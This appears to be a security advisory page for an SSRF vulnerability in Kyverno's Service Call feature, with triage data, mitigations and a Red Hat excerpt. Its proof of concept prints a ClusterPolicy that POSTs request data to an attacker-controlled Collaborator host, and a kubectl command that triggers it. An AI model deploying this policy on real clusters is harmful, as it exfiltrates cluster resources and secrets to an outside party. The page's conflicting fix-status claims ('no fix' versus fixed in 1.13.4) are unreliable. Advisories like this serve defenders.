Kyverno vulnerable to SSRF via Service CallsGHSA-459x-q9hg-4gpq
GHSA-459x-q9hg-4gpq is a Server-Side Request Forgery (SSRF) vulnerability in github.com/kyverno/kyverno. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-459x-q9hg-4gpq.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/kyverno/kyvernoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" />
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kyverno/kyverno | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/kyverno/kyverno for GHSA-459x-q9hg-4gpq. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A server-side request forgery (SSRF) vulnerability was found in Kyverno, a policy engine for Kubernetes. In versions prior to 1.13.4, an attacker with permission to create or modify Kyverno ClusterPolicies or Policies can specify an external URL in a policy's apiCall/service configuration. Although the Service Call…
This issue is fixed in Kyverno version 1.13.4. Red Hat will provide updated versions of Konflux Pipeline that include the fixed Kyverno version. Until updates are available, administrators can reduce the risk of SSRF attacks by implementing the following mitigations: 1. Restrict the set of users who can create or modify Kyverno ClusterPolicies and Policies. Use Kubernetes RBAC to limit policy creation permissions to trusted cluster administrators only. 2. Implement network policies to restrict egress traffic from the Kyverno namespace. Block outbound connections to external networks and cloud metadata endpoints (such as 169.254.169.254) to prevent SSRF-based data exfiltration. 3. Review…Source: Red Hat security advisory for GHSA-459x-q9hg-4gpq (CC BY 4.0)
Frequently Asked Questions
Is GHSA-459x-q9hg-4gpq in your dependencies?
Find it across Go, including transitive dependencies.